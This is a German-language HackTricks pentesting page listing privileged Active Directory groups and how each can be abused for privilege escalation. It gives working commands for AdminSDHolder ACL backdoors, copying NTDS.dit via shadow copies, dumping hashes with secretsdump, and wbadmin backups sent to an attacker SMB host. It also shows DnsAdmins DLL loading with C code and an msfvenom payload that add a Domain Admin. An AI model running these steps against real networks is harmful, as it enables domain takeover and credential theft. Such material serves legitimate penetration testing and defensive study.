Privileged Groups

Unterstütze HackTricks

Bekannt Gruppen mit Administrationsprivilegien

  • Administratoren

  • Domänen-Administratoren

  • Enterprise-Administratoren

Konto-Operatoren

Diese Gruppe ist befugt, Konten und Gruppen zu erstellen, die keine Administratoren in der Domäne sind. Darüber hinaus ermöglicht sie die lokale Anmeldung am Domänencontroller (DC).

Um die Mitglieder dieser Gruppe zu identifizieren, wird der folgende Befehl ausgeführt:

Get-NetGroupMember -Identity "Account Operators" -Recurse

Das Hinzufügen neuer Benutzer ist erlaubt, ebenso wie die lokale Anmeldung an DC01.

AdminSDHolder-Gruppe

Die Access Control List (ACL) der AdminSDHolder-Gruppe ist entscheidend, da sie die Berechtigungen für alle "geschützten Gruppen" innerhalb von Active Directory festlegt, einschließlich hochprivilegierter Gruppen. Dieser Mechanismus gewährleistet die Sicherheit dieser Gruppen, indem er unbefugte Änderungen verhindert.

Ein Angreifer könnte dies ausnutzen, indem er die ACL der AdminSDHolder-Gruppe ändert und einem Standardbenutzer vollständige Berechtigungen gewährt. Dies würde diesem Benutzer effektiv die volle Kontrolle über alle geschützten Gruppen geben. Wenn die Berechtigungen dieses Benutzers geändert oder entfernt werden, würden sie aufgrund des Designs des Systems innerhalb einer Stunde automatisch wiederhergestellt.

Befehle zur Überprüfung der Mitglieder und zur Änderung der Berechtigungen umfassen:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

Ein Skript ist verfügbar, um den Wiederherstellungsprozess zu beschleunigen: Invoke-ADSDPropagation.ps1.

Für weitere Details besuchen Sie ired.team.

AD Papierkorb

Die Mitgliedschaft in dieser Gruppe ermöglicht das Lesen von gelöschten Active Directory-Objekten, was sensible Informationen offenbaren kann:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Domain Controller Access

Der Zugriff auf Dateien auf dem DC ist eingeschränkt, es sei denn, der Benutzer ist Teil der Server Operators-Gruppe, die das Zugriffslevel ändert.

Privilege Escalation

Mit PsService oder sc von Sysinternals kann man die Berechtigungen von Diensten inspizieren und ändern. Die Server Operators-Gruppe hat beispielsweise die volle Kontrolle über bestimmte Dienste, was die Ausführung beliebiger Befehle und die Eskalation von Rechten ermöglicht:

C:\> .\PsService.exe security AppReadiness

Dieser Befehl zeigt, dass Server Operators vollen Zugriff haben, was die Manipulation von Diensten für erhöhte Berechtigungen ermöglicht.

Backup Operators

Die Mitgliedschaft in der Gruppe Backup Operators gewährt Zugriff auf das Dateisystem von DC01 aufgrund der SeBackup- und SeRestore-Berechtigungen. Diese Berechtigungen ermöglichen das Durchqueren von Ordnern, das Auflisten und das Kopieren von Dateien, selbst ohne ausdrückliche Berechtigungen, unter Verwendung des FILE_FLAG_BACKUP_SEMANTICS-Flags. Für diesen Prozess ist die Nutzung spezifischer Skripte erforderlich.

Um die Gruppenmitglieder aufzulisten, führen Sie aus:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

Lokaler Angriff

Um diese Berechtigungen lokal zu nutzen, werden die folgenden Schritte durchgeführt:

  1. Notwendige Bibliotheken importieren:

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. Aktivieren und überprüfen Sie SeBackupPrivilege:

Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. Zugriff auf und Kopieren von Dateien aus eingeschränkten Verzeichnissen, zum Beispiel:

dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

AD-Angriff

Der direkte Zugriff auf das Dateisystem des Domänencontrollers ermöglicht den Diebstahl der NTDS.dit-Datenbank, die alle NTLM-Hashes für Domänenbenutzer und -computer enthält.

Verwendung von diskshadow.exe

  1. Erstellen Sie eine Schattenkopie des C-Laufwerks:

diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. Kopiere NTDS.dit aus der Schattenkopie:

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Alternativ können Sie robocopy zum Kopieren von Dateien verwenden:

robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. Extrahiere SYSTEM und SAM zur Hash-Abfrage:

reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. Alle Hashes aus NTDS.dit abrufen:

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Verwendung von wbadmin.exe

  1. Richten Sie das NTFS-Dateisystem für den SMB-Server auf der Angreifermaschine ein und speichern Sie die SMB-Anmeldeinformationen auf der Zielmaschine.

  2. Verwenden Sie wbadmin.exe für die Systembackup- und NTDS.dit-Extraktion:

net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

Für eine praktische Demonstration siehe DEMO VIDEO WITH IPPSEC.

DnsAdmins

Mitglieder der DnsAdmins-Gruppe können ihre Berechtigungen ausnutzen, um eine beliebige DLL mit SYSTEM-Berechtigungen auf einem DNS-Server zu laden, der häufig auf Domänencontrollern gehostet wird. Diese Fähigkeit ermöglicht erhebliches Ausnutzungspotenzial.

Um die Mitglieder der DnsAdmins-Gruppe aufzulisten, verwenden Sie:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Führen Sie beliebige DLL aus

Mitglieder können den DNS-Server anweisen, eine beliebige DLL (entweder lokal oder von einem Remote-Share) mit Befehlen wie:

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Das Neustarten des DNS-Dienstes (was zusätzliche Berechtigungen erfordern kann) ist notwendig, damit die DLL geladen werden kann:

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Für weitere Details zu diesem Angriffsvektor siehe ired.team.

Mimilib.dll

Es ist auch möglich, mimilib.dll für die Ausführung von Befehlen zu verwenden, indem es modifiziert wird, um spezifische Befehle oder Reverse Shells auszuführen. Überprüfen Sie diesen Beitrag für weitere Informationen.

WPAD-Datensatz für MitM

DnsAdmins können DNS-Datensätze manipulieren, um Man-in-the-Middle (MitM)-Angriffe durch das Erstellen eines WPAD-Datensatzes nach Deaktivierung der globalen Abfrageblockliste durchzuführen. Tools wie Responder oder Inveigh können zum Spoofing und Erfassen von Netzwerkverkehr verwendet werden.

### Event-Log-Reader Mitglieder können auf Ereignisprotokolle zugreifen und möglicherweise sensible Informationen wie Klartextpasswörter oder Details zur Befehlsausführung finden:

# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Exchange Windows Berechtigungen

Diese Gruppe kann DACLs auf dem Domänenobjekt ändern und möglicherweise DCSync-Berechtigungen gewähren. Techniken zur Privilegieneskalation, die diese Gruppe ausnutzen, sind im Exchange-AD-Privesc GitHub-Repo detailliert beschrieben.

# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V-Administratoren

Hyper-V-Administratoren haben vollen Zugriff auf Hyper-V, was ausgenutzt werden kann, um die Kontrolle über virtualisierte Domänencontroller zu erlangen. Dazu gehört das Klonen von aktiven DCs und das Extrahieren von NTLM-Hashes aus der NTDS.dit-Datei.

Ausbeutungsbeispiel

Der Mozilla Wartungsdienst von Firefox kann von Hyper-V-Administratoren ausgenutzt werden, um Befehle als SYSTEM auszuführen. Dies beinhaltet das Erstellen eines Hardlinks zu einer geschützten SYSTEM-Datei und das Ersetzen dieser durch eine bösartige ausführbare Datei:

# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

Note: Die Ausnutzung von Hardlinks wurde in den neuesten Windows-Updates gemindert.

Organisation Management

In Umgebungen, in denen Microsoft Exchange bereitgestellt ist, hat eine spezielle Gruppe, die als Organisation Management bekannt ist, erhebliche Fähigkeiten. Diese Gruppe hat das Privileg, auf die Postfächer aller Domänenbenutzer zuzugreifen und hat vollständige Kontrolle über die 'Microsoft Exchange Security Groups' Organisationseinheit (OU). Diese Kontrolle umfasst die Exchange Windows Permissions Gruppe, die für Privilegieneskalation ausgenutzt werden kann.

Privilegienausnutzung und Befehle

Druckeroperatoren

Mitglieder der Druckeroperatoren Gruppe sind mit mehreren Privilegien ausgestattet, einschließlich des SeLoadDriverPrivilege, das es ihnen ermöglicht, lokal auf einen Domänencontroller zuzugreifen, ihn herunterzufahren und Drucker zu verwalten. Um diese Privilegien auszunutzen, insbesondere wenn SeLoadDriverPrivilege in einem nicht erhöhten Kontext nicht sichtbar ist, ist es notwendig, die Benutzerkontensteuerung (UAC) zu umgehen.

Um die Mitglieder dieser Gruppe aufzulisten, wird der folgende PowerShell-Befehl verwendet:

Get-NetGroupMember -Identity "Print Operators" -Recurse

Für detailliertere Ausbeutungstechniken im Zusammenhang mit SeLoadDriverPrivilege sollte man spezifische Sicherheitsressourcen konsultieren.

Remote Desktop Users

Die Mitglieder dieser Gruppe erhalten Zugriff auf PCs über das Remote Desktop Protocol (RDP). Um diese Mitglieder aufzulisten, stehen PowerShell-Befehle zur Verfügung:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

Weitere Einblicke in die Ausnutzung von RDP finden sich in speziellen Pentesting-Ressourcen.

Remote Management Users

Mitglieder können über Windows Remote Management (WinRM) auf PCs zugreifen. Die Aufzählung dieser Mitglieder erfolgt durch:

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

Für Exploitationstechniken, die mit WinRM zusammenhängen, sollte spezifische Dokumentation konsultiert werden.

Server Operators

Diese Gruppe hat Berechtigungen, um verschiedene Konfigurationen auf Domänencontrollern durchzuführen, einschließlich Backup- und Wiederherstellungsprivilegien, Ändern der Systemzeit und Herunterfahren des Systems. Um die Mitglieder aufzulisten, wird der folgende Befehl bereitgestellt:

Get-NetGroupMember -Identity "Server Operators" -Recurse

References

Unterstützen Sie HackTricks

Last updated